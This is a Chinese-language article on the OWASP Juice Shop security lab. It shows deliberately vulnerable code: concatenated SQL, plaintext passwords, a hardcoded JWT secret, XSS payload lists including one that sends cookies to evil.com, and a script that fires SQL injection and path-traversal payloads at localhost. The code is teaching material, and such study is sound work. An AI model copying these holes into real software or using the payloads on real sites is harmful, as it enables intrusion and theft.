OWASP Juice Shop 项目实战：企业级安全实验场的技术实现

// Juice Shop的核心架构体现真实企业应用特征
const express = require('express');
const helmet = require('helmet');
const rateLimit = require('express-rate-limit');

// 真实应用的安全配置模式
app.use(helmet()); // 安全头部配置
app.use(rateLimit({ // API限流
  windowMs: 15 * 60 * 1000, // 15分钟
  max: 100 // 每IP最多100次请求
}));

// 真实企业的微服务安全挑战
const services = {
  userService: 'http://user-service:3001',
  productService: 'http://product-service:3002',
  orderService: 'http://order-service:3003'
};

// 服务间调用的安全问题
app.get('/api/user/profile', async (req, res) => {
  const token = req.headers.authorization;
  // 这里容易出现服务间认证绕过
  const response = await axios.get(`${services.userService}/profile`, {
    headers: { authorization: token }
  });
  return res.json(response.data);
});

// 前端架构体现真实SPA应用的安全问题
// main.js - 应用入口
import Vue from 'vue';
import VueRouter from 'vue-router';
import Vuex from 'vuex';

// 全局状态管理中的安全问题
const store = new Vuex.Store({
  state: {
    user: null,
    token: localStorage.getItem('token') // XSS风险点
  },
  mutations: {
    setUser(state, user) {
      state.user = user;
      // 敏感信息存储问题
      localStorage.setItem('user', JSON.stringify(user));
    }
  }
});

// 路由守卫的实现
router.beforeEach((to, from, next) => {
  const isAuthenticated = store.state.token;
  if (to.meta.requiresAuth && !isAuthenticated) {
    next('/login');
  } else {
    next();
  }
});

// routes/api.js - API路由的核心实现
const express = require('express');
const router = express.Router();
const { Sequelize, DataTypes } = require('sequelize');

// 数据库连接配置 - 体现真实配置问题
const sequelize = new Sequelize({
  dialect: 'sqlite',
  storage: './database/juice-shop.sqlite',
  logging: false // 生产环境常见的安全隐患
});

// 用户模型定义 - 包含故意设计的漏洞
const User = sequelize.define('User', {
  email: {
    type: DataTypes.STRING,
    allowNull: false,
    unique: true,
    validate: {
      isEmail: true // 验证逻辑可以被绕过
    }
  },
  password: {
    type: DataTypes.STRING,
    allowNull: false
    // 故意不使用bcrypt，使用明文存储
  },
  role: {
    type: DataTypes.ENUM('customer', 'admin'),
    defaultValue: 'customer'
  }
});

// 登录接口 - SQL注入漏洞实现
router.post('/user/login', async (req, res) => {
  const { email, password } = req.body;
  
  // 直接拼接SQL - 经典注入点
  const query = `SELECT * FROM Users WHERE email = '${email}' AND password = '${password}'`;
  
  try {
    const user = await sequelize.query(query, {
      type: Sequelize.QueryTypes.SELECT
    });
    
    if (user.length > 0) {
      // JWT生成中的安全问题
      const token = jwt.sign({ 
        userId: user[0].id,
        role: user[0].role 
      }, 'insecure-secret', { // 硬编码密钥
        expiresIn: '24h'
      });
      
      res.json({ token, user: user[0] });
    } else {
      res.status(401).json({ error: 'Invalid credentials' });
    }
  } catch (error) {
    // 错误信息泄露
    res.status(500).json({ error: error.message });
  }
});

// lib/sql-injection.js - SQL注入的系统性实现
class SQLInjectionVulnerability {
  constructor(sequelize) {
    this.sequelize = sequelize;
  }

  // 基础注入点 - 登录接口
  async loginInjection(email, password) {
    // 场景1：经典布尔盲注
    const query1 = `SELECT * FROM Users WHERE email = '${email}' AND password = '${password}'`;
    
    // 场景2：UNION查询注入
    const query2 = `SELECT id, email FROM Users WHERE email = '${email}' UNION SELECT id, email FROM Products WHERE name LIKE '%${password}%'`;
    
    // 场景3：时间盲注
    const query3 = `SELECT * FROM Users WHERE email = '${email}' AND (SELECT COUNT(*) FROM Products WHERE id = ${password}) > 0 AND SLEEP(5)`;
    
    return await this.sequelize.query(query1, {
      type: Sequelize.QueryTypes.SELECT
    });
  }

  // 搜索接口的注入实现
  async searchInjection(keyword) {
    // 场景4：ORDER BY子句注入
    const orderQuery = `SELECT * FROM Products WHERE name LIKE '%${keyword}%' ORDER BY ${keyword}`;
    
    // 场景5：GROUP BY子句注入
    const groupQuery = `SELECT category, COUNT(*) as count FROM Products WHERE name LIKE '%${keyword}%' GROUP BY ${keyword}`;
    
    return await this.sequelize.query(orderQuery, {
      type: Sequelize.QueryTypes.SELECT
    });
  }

  // 存储过程的注入利用
  async procedureInjection(productId) {
    // 场景6：存储过程调用注入
    const procQuery = `CALL GetProductDetails(${productId}, '${productId}')`;
    
    return await this.sequelize.query(procQuery, {
      type: Sequelize.QueryTypes.SELECT
    });
  }
}

// XSS漏洞的系统性植入
class XSSVulnerability {
  constructor() {
    this.payloads = {
      stored: [
        '<script>alert("Stored XSS")</script>',
        '<img src=x onerror=alert("XSS")>',
        '<svg onload=alert("XSS")>'
      ],
      reflected: [
        '<script>document.location="http://evil.com/steal?cookie="+document.cookie</script>',
        '<iframe src="javascript:alert(`XSS`)"></iframe>',
        '<body onload=eval(String.fromCharCode(97,108,101,114,116,40,34,88,83,83,34,41))>'
      ],
      dom: [
        '<script>document.body.innerHTML="<img src=x onerror=alert(1)>"</script>',
        '<script>location.hash.substr(1).split("|").forEach(eval)</script>'
      ]
    };
  }

  // 存储型XSS实现
  async storedXSS(content) {
    // 反馈接口的存储型XSS
    const feedback = {
      comment: content, // 直接存储，无过滤
      rating: 5,
      userId: 1,
      timestamp: new Date()
    };
    
    return await this.saveFeedback(feedback);
  }

  // 反射型XSS实现
  reflectedXSS(input) {
    // 搜索接口的反射型XSS
    return `<div>搜索结果: ${input}</div>`; // 直接反射输出
  }

  // DOM型XSS实现
  domXSS(hash) {
    // 基于URL hash的DOM型XSS
    return `
      <script>
        const params = location.hash.substr(1).split('=');
        if (params[0] === 'search') {
          document.getElementById('result').innerHTML = decodeURIComponent(params[1]);
        }
      </script>
    `;
  }
}

// services/order-service.js - 订单服务的业务逻辑漏洞
class OrderService {
  constructor() {
    this.vulnerabilities = {
      priceManipulation: true,
      raceCondition: true,
      logicBypass: true
    };
  }

  // 价格篡改漏洞的核心实现
  async createOrder(userId, items) {
    let totalAmount = 0;
    const orderItems = [];

    for (const item of items) {
      // 漏洞点：直接使用客户端传来的价格
      const product = await this.getProduct(item.productId);
      
      if (!product) {
        throw new Error('Product not found');
      }

      // 业务逻辑漏洞：信任客户端价格
      const finalPrice = item.price || product.price; // 应该只使用product.price
      
      orderItems.push({
        productId: item.productId,
        quantity: item.quantity,
        price: finalPrice, // 漏洞所在
        subtotal: finalPrice * item.quantity
      });
      
      totalAmount += finalPrice * item.quantity;
    }

    // 库存检查中的竞态条件漏洞
    for (const item of orderItems) {
      const currentStock = await this.getStock(item.productId);
      if (currentStock < item.quantity) {
        throw new Error(`Insufficient stock for product ${item.productId}`);
      }
      
      // 这里存在竞态条件：检查和更新不是原子操作
      await this.updateStock(item.productId, currentStock - item.quantity);
    }

    const order = await this.saveOrder({
      userId,
      items: orderItems,
      totalAmount,
      status: 'pending',
      createdAt: new Date()
    });

    return order;
  }

  // 优惠券逻辑漏洞
  async applyCoupon(orderId, couponCode) {
    const order = await this.getOrder(orderId);
    const coupon = await this.getCoupon(couponCode);

    if (!coupon) {
      throw new Error('Invalid coupon');
    }

    // 漏洞点：优惠券可以重复使用
    if (coupon.used) {
      throw new Error('Coupon already used');
    }

    // 业务逻辑漏洞：没有检查优惠券使用条件
    let discountAmount = 0;
    if (coupon.type === 'percentage') {
      discountAmount = order.totalAmount * (coupon.value / 100);
    } else if (coupon.type === 'fixed') {
      discountAmount = coupon.value;
    }

    // 漏洞：折扣后金额可能为负数
    const finalAmount = Math.max(0, order.totalAmount - discountAmount);

    await this.updateOrder(orderId, {
      totalAmount: finalAmount,
      couponId: coupon.id,
      discountAmount
    });

    // 漏洞：没有标记优惠券为已使用
    // await this.markCouponAsUsed(coupon.id);

    return await this.getOrder(orderId);
  }
}

// vulnerability-debug.js - 漏洞检测调试工具
const axios = require('axios');

class VulnerabilityDebugger {
    constructor(baseUrl) {
        this.baseUrl = baseUrl;
        this.client = axios.create({
            baseURL: baseUrl,
            timeout: 10000,
            validateStatus: () => true
        });
    }

    // SQL注入调试
    async debugSQLInjection() {
        console.log('=== SQL注入调试 ===');
        
        const payloads = [
            "' OR '1'='1",
            "admin'--",
            "' UNION SELECT NULL,email,password FROM Users--"
        ];

        for (const payload of payloads) {
            console.log(`\n测试载荷: ${payload}`);
            
            try {
                const response = await this.client.post('/rest/user/login', {
                    email: payload,
                    password: 'anything'
                });

                console.log(`状态码: ${response.status}`);
                console.log(`响应头: ${JSON.stringify(response.headers, null, 2)}`);
                console.log(`响应体: ${JSON.stringify(response.data, null, 2)}`);

                // 检查响应中的关键指标
                if (response.data && response.data.token) {
                    console.log('✓ 检测到token，可能存在SQL注入');
                } else if (response.data && response.data.error) {
                    console.log(`✗ 错误信息: ${response.data.error}`);
                }

            } catch (error) {
                console.error(`请求失败: ${error.message}`);
            }
        }
    }

    // XSS调试
    async debugXSS() {
        console.log('\n=== XSS调试 ===');
        
        const payload = '<script>alert("XSS")</script>';
        
        try {
            // 提交XSS载荷
            const submitResponse = await this.client.post('/api/Feedbacks', {
                comment: payload,
                rating: 5
            });

            console.log('提交响应:', submitResponse.status, submitResponse.data);

            // 获取反馈列表
            const listResponse = await this.client.get('/api/Feedbacks');
            
            if (listResponse.data && listResponse.data.data) {
                const feedback = listResponse.data.data.find(
                    f => f.comment && f.comment.includes(payload)
                );
                
                if (feedback) {
                    console.log('✓ 找到提交的反馈');
                    console.log('反馈内容:', feedback);
                    
                    if (feedback.html && feedback.html.includes(payload)) {
                        console.log('✓ HTML中包含XSS载荷，存储型XSS确认');
                    } else {
                        console.log('✗ HTML中未找到XSS载荷，可能被过滤');
                    }
                } else {
                    console.log('✗ 未找到提交的反馈');
                }
            }

        } catch (error) {
            console.error(`XSS调试失败: ${error.message}`);
        }
    }

    // 目录遍历调试
    async debugDirectoryTraversal() {
        console.log('\n=== 目录遍历调试 ===');
        
        const payloads = [
            '../../../etc/passwd',
            '..\\..\\..\\windows\\system32\\drivers\\etc\\hosts',
            '....//....//....//etc/passwd'
        ];

        for (const payload of payloads) {
            console.log(`\n测试载荷: ${payload}`);
            
            try {
                const response = await this.client.get(`/image/${payload}`);
                
                console.log(`状态码: ${response.status}`);
                console.log(`Content-Type: ${response.headers['content-type']}`);
                
                if (response.status === 200) {
                    const content = response.data;
                    if (typeof content === 'string') {
                        if (content.includes('root:')) {
                            console.log('✓ 检测到passwd文件内容，目录遍历确认');
                        } else if (content.includes('localhost')) {
                            console.log('✓ 检测到hosts文件内容，目录遍历确认');
                        } else {
                            console.log('响应内容预览:', content.substring(0, 200));
                        }
                    }
                } else {
                    console.log(`✗ 请求失败: ${response.status}`);
                }

            } catch (error) {
                console.error(`请求失败: ${error.message}`);
            }
        }
    }

    // 完整调试流程
    async runFullDebug() {
        console.log(`开始调试 ${this.baseUrl} 的漏洞环境...`);
        
        await this.debugSQLInjection();
        await this.debugXSS();
        await this.debugDirectoryTraversal();
        
        console.log('\n=== 调试完成 ===');
        console.log('如果漏洞未被检测到，请检查：');
        console.log('1. Juice Shop版本是否正确');
        console.log('2. 漏洞是否被修复或禁用');
        console.log('3. 网络连接是否正常');
        console.log('4. 应用配置是否正确');
    }
}

// 使用示例
async function main() {
    const debugger = new VulnerabilityDebugger('http://localhost:3000');
    await debugger.runFullDebug();
}

if (require.main === module) {
    main().catch(console.error);
}

module.exports = VulnerabilityDebugger;